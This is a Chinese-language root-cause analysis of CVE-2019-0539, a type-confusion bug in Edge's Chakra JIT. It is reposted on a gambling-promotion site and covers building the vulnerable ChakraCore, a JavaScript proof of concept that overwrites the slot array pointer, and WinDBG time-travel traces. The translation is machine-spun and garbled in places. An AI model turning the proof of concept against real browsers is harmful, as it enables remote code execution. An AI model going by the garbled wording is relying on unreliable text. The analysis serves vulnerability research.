Microsoft Edge Chakra JIT类型殽杂马脚理会(CVE-2019-0539) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Microsoft Edge Chakra JIT类型殽杂马脚理会(CVE-2019-0539)

申博_安全防护 申博 178次浏览 已收录 0个评论

一、概述

在2019年1月的微软月度更新中,修复了CVE-2019-0539马脚。该马脚与其余2个马脚均是由Google Project Zero的Lokihardt发现并申报。该马脚能够也许在用户访问恶意网页时以致远程代码执行。正如Lokihardt所描写的,当Chakra JIT(Just-in-time)JavaScript编译器生成的代码执行工具的类型转换,并且缺点的假定后续对该工具不存在反作用时,会发生发火这类类型的殽杂问题。Chakra拓荒团队的Abhijith Chatra在其博客中描写,动态类型工具具有一个属性映照(Property Map)和一个插槽数组(Slot Array)。其中,属性映照用于获得插槽数组中工具属性的索引,插槽数组用于存储属性的实际数据。而CVE-2019-0539这一马脚将以致JIT代码殽杂内存中的工具,这将会以致插槽数组指针被任意数据掩饰。

二、竖立马脚状况

在Windows中,竖立存在马脚版本的ChakraCore:

(在Visual Studio MSBuild敕令提示符中)

c:\code>git clone https://github.com/Microsoft/ChakraCore.git
c:\code>cd ChakraCore
c:\code\ChakraCore>git checkout 331aa3931ab69ca2bd64f7e020165e693b8030b5
c:\code\ChakraCore>msbuild /m /p:Platform=x64 /p:Configuration=Debug Build\Chakra.Core.sln

三、时刻巡游调试(TTD)

在这里,我们应用“时刻巡游调试”(Time Travel Debugging, TTD)工具。关于TTD,微软给出的描写以下:

Time Travel Debugging是一个能够也许记载用户正在运转进程的工具,将会记载进程的悉数执行进程,并支持向前和向后的重放。时刻巡游调试(TTD)能够也许让我们“回放”调试器会话,没必要再重现问题,从而能赞助我们更加轻松地调试问题。

我们从Microsoft Store装配最新版本的WinDBG,需要以管理员权限运转。

Microsoft Edge Chakra JIT类型殽杂马脚理会(CVE-2019-0539)

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

四、根本原因理会

PoC:

function opt(o, c, value) {
    o.b = 1;
    class A extends c { // may transition the object
    }
    o.a = value; // overwrite slot array pointer
}
 
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function () {}), {});
    }
 
    let o = {a: 1, b: 2};
    let cons = function () {};
 
    cons.prototype = o; // causes "class A extends c" to transition the object type
    opt(o, cons, 0x1234);
    print(o.a); // access the slot array pointer resulting in a crash
}
 
main();

应用TTD运转调试器,直至其发生发火崩溃,然后执行以下敕令:

0:005> !tt 0
Setting position to the beginning of the trace
Setting position: 14:0
(1e8c.4bc8): Break instruction exception - code 80000003 (first/second chance not available)
Time Travel Position: 14:0
ntdll!LdrInitializeThunk:
00007fff`03625640 4053            push    rbx
0:000> g
ModLoad: 00007fff`007e0000 00007fff`0087e000   C:\Windows\System32\sechost.dll
ModLoad: 00007fff`00f40000 00007fff`00fe3000   C:\Windows\System32\advapi32.dll
ModLoad: 00007ffe`ffde0000 00007ffe`ffe00000   C:\Windows\System32\win32u.dll
ModLoad: 00007fff`00930000 00007fff`00ac7000   C:\Windows\System32\USER32.dll
ModLoad: 00007ffe`ff940000 00007ffe`ffada000   C:\Windows\System32\gdi32full.dll
ModLoad: 00007fff`02e10000 00007fff`02e39000   C:\Windows\System32\GDI32.dll
ModLoad: 00007fff`03420000 00007fff`03575000   C:\Windows\System32\ole32.dll
ModLoad: 00007ffe`ffdb0000 00007ffe`ffdd6000   C:\Windows\System32\bcrypt.dll
ModLoad: 00007ffe`e7c20000 00007ffe`e7e0d000   C:\Windows\SYSTEM32\dbghelp.dll
ModLoad: 00007ffe`e7bf0000 00007ffe`e7c1a000   C:\Windows\SYSTEM32\dbgcore.DLL
ModLoad: 00007ffe`9bf10000 00007ffe`9dd05000   c:\pp\ChakraCore\Build\VcBuild\bin\x64_debug\chakracore.dll
ModLoad: 00007fff`011c0000 00007fff`011ee000   C:\Windows\System32\IMM32.DLL
ModLoad: 00007ffe`ff5b0000 00007ffe`ff5c1000   C:\Windows\System32\kernel.appcore.dll
ModLoad: 00007ffe`f0f80000 00007ffe`f0fdc000   C:\Windows\SYSTEM32\Bcp47Langs.dll
ModLoad: 00007ffe`f0f50000 00007ffe`f0f7a000   C:\Windows\SYSTEM32\bcp47mrm.dll
ModLoad: 00007ffe`f0fe0000 00007ffe`f115b000   C:\Windows\SYSTEM32\windows.globalization.dll
ModLoad: 00007ffe`ff010000 00007ffe`ff01c000   C:\Windows\SYSTEM32\CRYPTBASE.DLL
(1e8c.20b8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 90063:0
chakracore!Js::DynamicTypeHandler::GetSlot+0x149:
00007ffe`9cd1ec79 488b04c1        mov     rax,qword ptr [rcx+rax*8] ds:00010000`00001234=????????????????
0:004> ub
chakracore!Js::DynamicTypeHandler::GetSlot+0x12d [c:\pp\chakracore\lib\runtime\types\typehandler.cpp @ 96]:
00007ffe`9cd1ec5d 488b442450      mov     rax,qword ptr [rsp+50h]
00007ffe`9cd1ec62 0fb74012        movzx   eax,word ptr [rax+12h]
00007ffe`9cd1ec66 8b4c2460        mov     ecx,dword ptr [rsp+60h]
00007ffe`9cd1ec6a 2bc8            sub     ecx,eax
00007ffe`9cd1ec6c 8bc1            mov     eax,ecx
00007ffe`9cd1ec6e 4898            cdqe
00007ffe`9cd1ec70 488b4c2458      mov     rcx,qword ptr [rsp+58h] // object pointer
00007ffe`9cd1ec75 488b4910        mov     rcx,qword ptr [rcx+10h] // slot array pointer
0:004> ba w 8 poi(@rsp+58)+10
0:004> g-
Breakpoint 1 hit
Time Travel Position: 9001D:178A
00000195`cc9c0159 488bc7          mov     rax,rdi

下面是究竟掩饰指向插槽数组(Slot Array)指针的JIT代码。在这里,注意对chakracore!Js::JavascriptOperators::OP_InitClass的调用。正如Lokihardt所解释的那样,这个函数究竟将调用SetIsPrototype,它将认真转换工具类型。

0:004> ub @rip L20
00000195`cc9c00c6 ef              out     dx,eax
00000195`cc9c00c7 0000            add     byte ptr [rax],al
00000195`cc9c00c9 004c0f45        add     byte ptr [rdi+rcx+45h],cl
00000195`cc9c00cd f249895e18      repne mov qword ptr [r14+18h],rbx
00000195`cc9c00d2 4c8bc7          mov     r8,rdi
00000195`cc9c00d5 498bcf          mov     rcx,r15
00000195`cc9c00d8 48baf85139ca95010000 mov rdx,195CA3951F8h
00000195`cc9c00e2 48b8d040a39cfe7f0000 mov rax,offset chakracore!Js::ScriptFunction::OP_NewScFuncHomeObj (00007ffe`9ca340d0)
00000195`cc9c00ec 48ffd0          call    rax
00000195`cc9c00ef 488bd8          mov     rbx,rax
00000195`cc9c00f2 498bd5          mov     rdx,r13
00000195`cc9c00f5 488bcb          mov     rcx,rbx
00000195`cc9c00f8 c60601          mov     byte ptr [rsi],1
00000195`cc9c00fb 49b83058e8c995010000 mov r8,195C9E85830h
00000195`cc9c0105 48b88041679cfe7f0000 mov rax,offset chakracore!Js::JavascriptOperators::OP_InitClass (00007ffe`9c674180) // transitions the type of the object
00000195`cc9c010f 48ffd0          call    rax
00000195`cc9c0112 803e01          cmp     byte ptr [rsi],1
00000195`cc9c0115 0f85dc000000    jne     00000195`cc9c01f7
00000195`cc9c011b 488bc3          mov     rax,rbx
00000195`cc9c011e 48c1e830        shr     rax,30h
00000195`cc9c0122 0f85eb000000    jne     00000195`cc9c0213
00000195`cc9c0128 4c8b6b08        mov     r13,qword ptr [rbx+8]
00000195`cc9c012c 498bc5          mov     rax,r13
00000195`cc9c012f 48c1e806        shr     rax,6
00000195`cc9c0133 4883e007        and     rax,7
00000195`cc9c0137 48b9b866ebc995010000 mov rcx,195C9EB66B8h
00000195`cc9c0141 33d2            xor     edx,edx
00000195`cc9c0143 4c3b2cc1        cmp     r13,qword ptr [rcx+rax*8]
00000195`cc9c0147 0f85e2000000    jne     00000195`cc9c022f
00000195`cc9c014d 480f45da        cmovne  rbx,rdx
00000195`cc9c0151 488b4310        mov     rax,qword ptr [rbx+10h]
00000195`cc9c0155 4d896610        mov     qword ptr [r14+10h],r12 // trigger of CVE-2019-0539. Overridden slot array pointer

下面是JIT代码调用OP_InitClass之前的工具的内存转储。我们需要注意,两个工具插槽(Slot)是如何在工具的内存中内联的,在这里并不是存储在一个零丁的插槽数组中。

Time Travel Position: 8FE48:C95
chakracore!Js::JavascriptOperators::OP_InitClass:
00007ffe`9c674180 4c89442418      mov     qword ptr [rsp+18h],r8 ss:00000086`971fd710=00000195ca395030
0:004> dps 00000195`cd274440
00000195`cd274440  00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448  00000195`ca3c1d40
00000195`cd274450  00010000`00000001 // inline slot 1
00000195`cd274458  00010000`00000001 // inline slot 2
00000195`cd274460  00000195`cd274440
00000195`cd274468  00010000`00000000
00000195`cd274470  00000195`ca3b4030
00000195`cd274478  00000000`00000000
00000195`cd274480  00000195`cd073ed0
00000195`cd274488  00000000`00000000
00000195`cd274490  00000000`00000000
00000195`cd274498  00000000`00000000
00000195`cd2744a0  00000195`cd275c00
00000195`cd2744a8  00010000`00000000
00000195`cd2744b0  00000195`ca3dc100
00000195`cd2744b8  00000000`00000000

以下调用栈展示了SetIsPrototype究竟由OP_InitClass调用,从而转换工具的类型。转换进程以致两个插槽(Slot)不再内联,而是存储在插槽数组中。随后,会经过历程其他的JIT代码忽视这一转换。

0:004> kb
 # RetAddr           : Args to Child                                                           : Call Site
00 00007ffe`9cd0dace : 00000195`cd274440 00000195`ca3a0000 00000195`00000004 00007ffe`9bf6548b : chakracore!Js::DynamicTypeHandler::AdjustSlots+0x79f [c:\pp\chakracore\lib\runtime\types\typehandler.cpp @ 755]
01 00007ffe`9cd24181 : 00000195`cd274440 00000195`cd264f60 00000195`000000fb 00007ffe`9c200002 : chakracore!Js::DynamicObject::DeoptimizeObjectHeaderInlining+0xae [c:\pp\chakracore\lib\runtime\types\dynamicobject.cpp @ 591]
02 00007ffe`9cd2e393 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd35f00 : chakracore!Js::PathTypeHandlerBase::ConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x1b1 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 1622]
03 00007ffe`9cd40ac2 : 00000195`ca3da0f0 00000195`cd274440 00000000`00000002 00007ffe`9bf9fe00 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x43 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 1598]
04 00007ffe`9cd3cf81 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd0c700 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType+0x32 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.h @ 297]
05 00007ffe`9cd10a9f : 00000195`ca3da0f0 00000195`cd274440 00000001`0000001c 00007ffe`9c20c563 : chakracore!Js::PathTypeHandlerBase::SetIsPrototype+0xe1 [c:\pp\chakracore\lib\runtime\types\pathtypehandler.cpp @ 2892]
06 00007ffe`9cd0b7a3 : 00000195`cd274440 00007ffe`9bfa722e 00000195`cd274440 00007ffe`9bfa70a3 : chakracore!Js::DynamicObject::SetIsPrototype+0x23f [c:\pp\chakracore\lib\runtime\types\dynamicobject.cpp @ 680]
07 00007ffe`9cd14b08 : 00000195`cd274440 00007ffe`9c20d013 00000195`cd274440 00000195`00000119 : chakracore!Js::RecyclableObject::SetIsPrototype+0x43 [c:\pp\chakracore\lib\runtime\types\recyclableobject.cpp @ 190]
08 00007ffe`9c6743ea : 00000195`cd275c00 00000195`cd274440 0000018d`00000119 00000195`c9e85830 : chakracore!Js::DynamicObject::SetPrototype+0x18 [c:\pp\chakracore\lib\runtime\types\dynamictype.cpp @ 632]
09 00000195`cc9c0112 : 00000195`cd264f60 00000195`cd273eb0 00000195`c9e85830 00007ffe`9c20c9b3 : chakracore!Js::JavascriptOperators::OP_InitClass+0x26a [c:\pp\chakracore\lib\runtime\language\javascriptoperators.cpp @ 7532]
0a 00007ffe`9cbea0d2 : 00000195`ca3966e0 00000000`10000004 00000195`ca395030 00000195`cd274440 : 0x00000195`cc9c0112

下面是OP_InitClass调用后工具的内存转储。请注意,现在的工具已经过转换,并且不再内联两个插槽。但是,如上所述,JIT代码仍然会假定该插槽是内联的。

Time Travel Position: 9001D:14FA
00000195`cc9c0112 803e01          cmp     byte ptr [rsi],1 ds:0000018d`c8e72018=01
0:004> dps 00000195`cd274440
00000195`cd274440  00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448  00000195`cd275d40
00000195`cd274450  00000195`cd2744c0 // slot array pointer (previously inline slot 1)
00000195`cd274458  00000000`00000000
00000195`cd274460  00000195`cd274440
00000195`cd274468  00010000`00000000
00000195`cd274470  00000195`ca3b4030
00000195`cd274478  00000195`cd277000
00000195`cd274480  00000195`cd073ed0
00000195`cd274488  00000195`cd073f60
00000195`cd274490  00000195`cd073f90
00000195`cd274498  00000000`00000000
00000195`cd2744a0  00000195`cd275c00
00000195`cd2744a8  00010000`00000000
00000195`cd2744b0  00000195`ca3dc100
00000195`cd2744b8  00000000`00000000
0:004> dps 00000195`cd2744c0 // slot array
00000195`cd2744c0  00010000`00000001
00000195`cd2744c8  00010000`00000001
00000195`cd2744d0  00000000`00000000
00000195`cd2744d8  00000000`00000000
00000195`cd2744e0  00000119`00000000
00000195`cd2744e8  00000000`00000100
00000195`cd2744f0  00000195`cd074000
00000195`cd2744f8  00000000`00000000
00000195`cd274500  000000c4`00000000
00000195`cd274508  00000000`00000102
00000195`cd274510  00000195`cd074030
00000195`cd274518  00000000`00000000
00000195`cd274520  000000fb`00000000
00000195`cd274528  00000000`00000102
00000195`cd274530  00000195`cd074060
00000195`cd274538  00000000`00000000

下面是在JIT代码缺点地分配属性值今后工具的内存转储,掩饰了插槽数组指针。

0:004> dqs 00000195cd274440
00000195`cd274440  00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448  00000195`cd275d40
00000195`cd274450  00010000`00001234 // overridden slot array pointer (CVE-2019-0539)
00000195`cd274458  00000000`00000000
00000195`cd274460  00000195`cd274440
00000195`cd274468  00010000`00000000
00000195`cd274470  00000195`ca3b4030
00000195`cd274478  00000195`cd277000
00000195`cd274480  00000195`cd073ed0
00000195`cd274488  00000195`cd073f60
00000195`cd274490  00000195`cd073f90
00000195`cd274498  00000000`00000000
00000195`cd2744a0  00000195`cd275c00
00000195`cd2744a8  00010000`00000000
00000195`cd2744b0  00000195`ca3dc100
00000195`cd2744b8  00000000`00000000

最后,当访问其中一个工具的属性时,被掩饰的插槽数组指针将被消弭援引,从而以致崩溃。

0:004> g
(1e8c.20b8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
chakracore!Js::DynamicTypeHandler::GetSlot+0x149:
00007ffe`9cd1ec79 488b04c1        mov     rax,qword ptr [rcx+rax*8] ds:00010000`00001234=????????????????

五、总结

由于我们应用了WinDBG的TTD,所以我们的悉数调试进程都得到了简化。细致而言,TTD赞助我们设置了断点,并且能够也许逆向运转递次,最后直接以致实际的插槽数组指针掩饰。这一服从展示了CPU跟踪和执行进程重建的重要性,能够也许用于软件调试和逆向工程傍边。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Microsoft Edge Chakra JIT类型殽杂马脚理会(CVE-2019-0539)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址